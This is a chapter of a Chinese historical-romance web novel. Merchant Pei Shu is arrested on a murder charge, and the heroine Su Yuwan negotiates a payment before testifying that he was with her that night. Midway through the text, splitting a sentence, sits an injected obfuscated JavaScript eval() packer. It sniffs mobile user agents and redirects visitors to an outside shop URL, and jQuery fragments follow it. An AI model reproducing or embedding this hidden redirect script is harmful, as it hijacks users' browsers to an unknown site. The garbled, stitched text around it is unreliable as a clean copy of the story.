裴殊满怀心事地来到浙江渡,看着江边往来的人群,他不禁微微一叹。
或许这一趟出海,能够给他足够的时间,让他想清楚这几日发生的事情。只是,待他回来的时候,似乎……他即使想明白了也已是时过境迁了吧。
不远处,忽然传来一阵马蹄声,一群官吏骑着马从不远处狂奔而来。
裴殊站在人群中,拿出怀中的凭证,交给官吏。
“让开!”
“今日谁也不准出海!”
“那个穿蓝色鹤氅的,别让他走!”
岸边顿时一阵喧闹,还有几人被马惊倒,但那几名官吏分明没有停下的意思,直奔着裴殊而来。
裴殊正前往岸边,却忽而被一群官吏围堵住。
为首的官吏手中拿着一张画像,正对着裴殊比对着。
“你可是沧海阁纲首裴殊?”
裴殊心中有一种不祥的预感,他冷着脸,说道:“何事?”
“带走。”
“且慢。”裴殊眼神骤冷,“在下今日要出海送一位蕃商出海,已经与市舶司报备过了,不知在下是犯了何事?”
“你自己不也说了吗,要送蕃商出海,可你口中的这位蕃商,今早被店家发现死于客栈之中。在他房中发现了与你的一些契书,故而,我等前来抓你归案!”
……
午后,上城窑。
客室内,苏玉晚已经摘下了面纱,她正弯着腰,仔细端详着这一批新烧制的黑釉茶具,虽说她看不出什么瑕疵,花色纹路也十分精美,但她总感觉少了些什么。
在苏玉晚身旁,上次与她有过一面之缘的雕花工匠江刀,正将茶汤倒入一个黑色茶盏之中,白沫逐渐堆起,缓缓吸附在黑色的盏壁上,黑与白相衬、颜色分明。
与一旁同样盛满茶汤的青色茶盏相比,的确更好辨认。
柳莺端着一些糕点从外走来,看到这一幕,不禁赞叹:“小姐!成了!”
“多谢夸奖!”苏玉晚一手拿起糕点,另一只手托起一个平平无奇的黑色茶杯,却还是一脸担忧,“但烧制黑瓷的技艺,却并非苏家独有,只怕到时各家瓷窑争相烧制黑瓷,却是为他人作嫁衣了。”
江刀诧异地看向苏玉晚,他走到苏玉晚身旁,看着眼前的黑瓷,“小姐说得对。斗茶具有一定的观赏性,但苏家瓷器多以实用为主,而孙家瓷器却多以美观为主,到那时,恐怕两家在黑瓷上会成为劲敌。”
“如果在雕花上下功夫呢?”
江刀轻咳了两声,脸庞上有一丝尴尬,“我的技艺还达不到别的工匠无法仿制的程度。”
苏玉晚却不禁一笑,“你倒是实诚。”看来,在苏家能做出黑瓷的差异化方案之前,保守起见,还是要与陆家谈成合作,让陆家的茶叶与苏家的黑瓷茶具捆绑销售。
江刀看到苏玉晚的笑容,不禁一愣,他脸上有些泛红,低声道:“我会好好研究的。”
“嗯,我相信你。”苏玉晚端起糕点盘,递给江刀,“喏,一起吃。”
江刀犹豫片刻,听话地拿起一块桂花糕。
柳莺也拿起一块糕点,她忽而想起一件事,“对了,小姐,告诉你一个好消息。”
“嗯?”
“我刚刚回来的路上,路上的人都在说,那个裴殊,昨晚杀了人,他今早想逃到海外去,在渡口被官兵抓了,也不知道是真是假,若是真的,那可给小姐出了一口恶气!”
苏玉晚却是一愣,好一会儿没反应过来。
“你是说,裴殊?裴七?”
“是啊。”
“昨晚?”
“嗯。”
苏玉晚不禁眉头紧皱,她回想起昨晚裴殊上船找她,两人一同划船、共乘一骑,然后……
她忍不住嘀咕:“可是他昨晚,一直都跟我在一起啊。”
“小姐?你说什么?”柳莺以为自己听错了,“昨晚小姐不是自己逃回来的吗?”
江刀并不知道发生了何事,他诧然地看向苏玉晚和柳莺。
“一半一半吧。”苏玉晚心里有些异样的感觉,她隐隐觉得,此事有点蹊跷。
“江公子,这里你继续盯着。我还有事,就先走了。”
回程的路上,苏玉晚却有一丝担忧。
虽说裴殊对她做了很过分的事情,她不想再与此人有任何瓜葛。但,裴殊真的会杀人吗?怎么想都觉得不像……她不想承认,但如果裴殊是被冯嵩诬陷的呢?如果是因为那日她强吻于他、让冯嵩对他怀恨在心,然后趁机报复……
但愿是她想多了。
苏玉晚的马车回到苏府,她掀起车帘,却看到一人正在苏府门外来回踱步,看起来很是焦急。
苏玉晚走下马车,朝那道人影看了一会儿,总觉得有些眼熟。
“苏小姐!我是王洋!昨日在渡口见过的。”
王洋看到苏玉晚,连忙迎了上来,但被苏府的护卫拦住。
“苏小姐,求你救救小七!”
柳莺看到王洋,脸上顿时涌上一抹怒意,“是你!昨日他可是害惨了我家小姐,今日你们竟然还有脸来求我们小姐救他!”
王洋直接跪在地上,恳求道:“苏小姐,此事关系到小七的性命,救人一命胜造七级浮屠!还请你慈悲心肠,发发善心吧!之前都是我们错了,我也代小七向你道歉,但小七所做之事、从未想过害你性命……”
“他那样还不算害小姐吗?任你怎么说都没用!我们小姐是心善,但绝对不会为杀人犯出面!”柳莺看着更加恼火,连忙掩护着苏玉晚往府内走去,对一旁的护卫说道,“快将此人赶走。”
苏玉晚眉头微皱,虽然她心中隐隐有些说不清的在意此事,但她理智地知道,这种事,她最好不要牵扯进来。
护卫抓起跪在地上的王洋,将他拖走。
王洋挣扎着大吼着,“苏小姐,现在老四和老五都在官府为他作证,证明他昨晚没去过那蕃商所在的客栈,但转运使大人说,我们都是沧海阁的人,所说之话不能为证。苏小姐,小七昨晚与谁待在一起,你是清楚了,现在只有你能救小七了……”
“住口!大胆贼人!你若再敢污蔑我家小姐清誉,连你一起送去报官!”
苏玉晚与柳莺一同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942875|213978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
踏过门槛,苏府的大门逐渐关上。
“苏小姐,小七还说,若你愿意为他作证,他愿意送你十艘货船……”
柳莺回头白了一眼王洋,“我们家小姐,不缺这点钱!”
“等……”苏玉晚连忙拉住柳莺,转过身,在大门即将关上之前,再次踏了出来,扒开门缝,问道,“可有字据为证?”
王洋因为激动而流下了泪来,“只要苏小姐愿意,我现在就写!”
“快快与我进府详谈。”
柳莺不禁双唇微张,讶然地看向一瞬间变脸的苏玉晚。
苏玉晚凑到柳莺的耳边,小声道:“莺莺,抱歉让你打脸了。主要是,这件事一本万利,你想想看,人为了买命,可是愿意下血本的。”
柳莺不禁瞪大双眼,赞叹道:“小姐,当真高明。”
“那必须的。”
稍时,苏玉晚便和王洋、柳莺一同来到了书房。
“王洋,你可要做好准备,我的条件,可不止十艘货船那么简单……”
“只要苏小姐能为小七作证,我们多少钱都愿意出……”
两人交谈几番,直到日影西斜,才写好了字据凭证。
一式两份,两人将两份都按完手印后,各自执一份。
“走吧,我们现在就去击鼓鸣冤!”
柳莺担忧地看向苏玉晚,“小姐,晚饭还没吃呢……”
“等我回来吃吧。”说完,苏玉晚又看向屋内的其他侍从们,“若是阿爹问起我,就说我赚钱去了。”
苏玉晚与柳莺一同上了马车,还有几名护卫一路护送,众人跟着王洋在落日前赶到了官府。
苏玉晚从马车上走下来,拿出铜钱递给周围的衙役,随后,她看着威严的朱漆大门,以及高大的鸣冤鼓,不禁微微一叹。
绯红色的晚霞晕染着翻涌的云层,橙紫色的天际尽是鸿美绚烂。
“咚——”一阵阵节奏明确的鼓声,回响在半空中。
苏玉晚高举起鼓椎,重重地敲在鼓面上。
她击打的,不仅是沉睡昏暗的府衙,更是她模糊不清的内心。
她不知道为什么自己会来为裴殊作证,她明明很讨厌这个人。而之所以她和王洋大谈交易金额,也无非是她在给自己台阶下,顺便试探自己的动机。
可惜,鼓声阵阵,她却没有一丝赚钱的激动。她能够确定的是,她来此,不是为了钱。
或许,她是为了正义。毕竟,她人美心善,昨夜的案发前后,她的确跟裴殊在一起,她有义务为无辜者作证。
又或许,她是因为听王洋说转运使也在场,这次审案并非冯嵩一手遮天,再加上她跟冯嵩的恩怨、是她导致冯嵩与裴殊结怨等,她确实有70%以上赢的概率,她是经过理智思考、综合考虑,才决定来此为裴殊作证。
总之,她才是真的打脸,昨夜刚说了永不交集,今天就出尔反尔……就当她是闲着没事干想发疯吧。
“何人在此喧哗?”
“民女苏玉晚,携人证物证,来为嫌犯裴殊申冤!民女可证明昨夜裴殊不曾有时间前往客栈杀人。”